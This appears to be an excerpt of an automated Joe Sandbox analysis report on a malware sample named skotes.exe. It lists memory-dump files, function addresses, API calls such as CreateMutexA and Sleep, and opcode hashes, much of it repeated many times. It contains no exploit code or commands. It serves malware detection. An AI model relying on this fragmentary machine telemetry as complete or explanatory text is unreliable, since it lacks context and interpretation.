Associated: 00000002.00000002.2399059059.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399078897.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399100235.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399120842.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399141916.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399161174.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399182762.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399203365.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399222702.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399242540.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399270135.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399294706.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399294706.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399351439.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399369474.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399391517.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399415373.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399444056.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399466042.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399485515.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399506968.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399523449.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 27125aa9832bc9a36e9a0da5ee3cdb32a7bdb0f704eb7fc03fbf27b0c6cace3b
Instruction ID: f6769835dd87fabc694ae5b46cb6726ee6b5f53d702ce85f3e546281ca266a37
Opcode Fuzzy Hash: 27125aa9832bc9a36e9a0da5ee3cdb32a7bdb0f704eb7fc03fbf27b0c6cace3b
Instruction Fuzzy Hash: 6DF02E31601124B6EB332A729C05A5B7779DF45770B148023FD0897381EA3CEC10A6E1

Non-executed Functions

Function 007DCBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 007DCC66

Strings

v}, xrefs: 007DCBE1

Memory Dump Source

Source File: 00000002.00000002.2398180926.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000002.00000002.2398157773.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398180926.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398281777.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398307953.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398329877.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398351079.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398372219.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398504272.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398523656.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398551122.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398551122.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398593843.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398612662.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398631918.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398650356.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398672580.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398691780.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398717654.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398735285.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398751383.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398773044.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398793584.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398896385.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398921612.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398945523.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398971684.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398995601.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399016093.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399037090.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399059059.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399078897.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399100235.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399120842.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399141916.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399161174.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399182762.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399203365.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399222702.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399242540.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399270135.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399294706.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399294706.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399351439.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399369474.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399391517.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399415373.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399444056.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399466042.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399485515.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399506968.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399523449.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v}
API String ID: 3213747228-3017820013
Opcode ID: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction ID: 37180f2949dc37939cec606bb69100546894de936bf7c3b2f27a38c5a3d0e866
Opcode Fuzzy Hash: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction Fuzzy Hash: 13B13672A052869FDB16CF68C8817AEBBF5EF45350F1441ABE949EB342D63C9D01CB60

Function 007A2EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 007A2F5F
__Mtx_unlock.LIBCPMT ref: 007A2FCC
__Cnd_broadcast.LIBCPMT ref: 007A2FE3
__Mtx_unlock.LIBCPMT ref: 007A30F5
__Mtx_unlock.LIBCPMT ref: 007A319B

Memory Dump Source

Source File: 00000002.00000002.2398180926.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000002.00000002.2398157773.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398180926.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398281777.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398307953.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398329877.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398351079.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398372219.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398504272.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398523656.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398551122.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398551122.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398593843.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398612662.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398631918.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398650356.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398672580.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398691780.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398717654.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398735285.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398751383.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398773044.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398793584.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398896385.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398921612.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398945523.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398971684.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398995601.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399016093.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399037090.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399059059.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399078897.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399100235.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399120842.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399141916.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399161174.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399182762.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399203365.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399222702.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399242540.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399270135.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399294706.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399294706.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399351439.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399369474.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399391517.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399415373.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399444056.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399466042.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399485515.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399506968.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399523449.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 5ea8fc78b1eaa0ec0d221fe4c4ae66daa2999bcc30dd1faa04556e8dd207da48
Instruction ID: 698cb24d109626f6be01a4314ed8108178f2b544b719745ea5ae7deeeca268f5
Opcode Fuzzy Hash: 5ea8fc78b1eaa0ec0d221fe4c4ae66daa2999bcc30dd1faa04556e8dd207da48
Instruction Fuzzy Hash: 16A1D1B0A01605DFEB21DF64C949B9AB7E9FF56314F048229F815D7241EB39EA04CB91

Function 007BBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 007BBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 007BBBE4
_xtime_get.LIBCPMT ref: 007BBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 007BBC13

Memory Dump Source

Source File: 00000002.00000002.2398180926.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000002.00000002.2398157773.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398180926.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398281777.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398307953.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398329877.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398351079.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398372219.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398504272.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398523656.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398551122.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398551122.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398593843.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398612662.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398631918.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398650356.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398672580.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398691780.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398717654.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398735285.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398751383.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398773044.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398793584.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398896385.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398921612.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398945523.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398971684.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2398995601.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399016093.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399037090.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399059059.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399078897.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399100235.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399120842.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399141916.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399161174.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399182762.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399203365.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399222702.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399242540.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399270135.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399294706.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399294706.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399351439.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399369474.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399391517.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399415373.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399444056.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399466042.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399485515.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399506968.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2399523449.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: bc39c40729c932a84910385ef8d553ee0ddbb190b63dcddd977043ef58cbf6ea
Instruction ID: 53f51b03a251172b42ef9df421c510e2fc7fc8c6899231c4211cb82d657e5bab
Opcode Fuzzy Hash: bc39c40729c932a84910385ef8d553ee0ddbb190b63dcddd977043ef58cbf6ea
Instruction Fuzzy Hash: 0521ED76A00119EFDF01EFA4D885AFEBBB9EF48714F108065F901A7251DB789D019BA1

Analysis Process: skotes.exePID: 4368, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1936
Total number of Limit Nodes:	11

Executed Functions

Function 007D652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,007D652A,?,?,?,?,?,007D7661), ref: 007D6567

Memory Dump Source

Source File: 00000003.00000002.2408823354.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000003.00000002.2408792917.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408823354.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408892818.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408913501.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408938688.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408964315.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408990879.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409265626.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409291889.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409322059.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409322059.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409370945.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409393922.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409425696.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409452632.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409474141.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409495445.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409516026.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409536884.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409556051.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409578574.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409599207.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409619605.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409639563.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409663553.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409690289.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409718407.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409736977.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409758448.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409778684.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409797010.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409822148.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409843309.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409864117.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409883383.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409903538.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409922643.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409941428.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409963110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409993331.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410014022.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410014022.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410067755.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410087426.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410110222.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410131581.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410155664.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410175016.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410197376.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410221979.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410243346.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 172b36445519087fbe74ce86b328f257966d287f6616922a7bf0a0499dd84d76
Instruction ID: 493b23324d6efaf263cdd1f40e7ce10aeea65655cdb4aa0f878519bb49a9c590
Opcode Fuzzy Hash: 172b36445519087fbe74ce86b328f257966d287f6616922a7bf0a0499dd84d76
Instruction Fuzzy Hash: 94E08C30001108EECF257F18D80DA4D3B3AFB11781F010815F80946326CB2AEEB1C680

Function 007A9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 007AA963
CreateMutexA.KERNELBASE(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000003.00000002.2408823354.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000003.00000002.2408792917.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408823354.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408892818.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408913501.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408938688.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408964315.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408990879.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409265626.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409291889.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409322059.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409322059.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409370945.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409393922.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
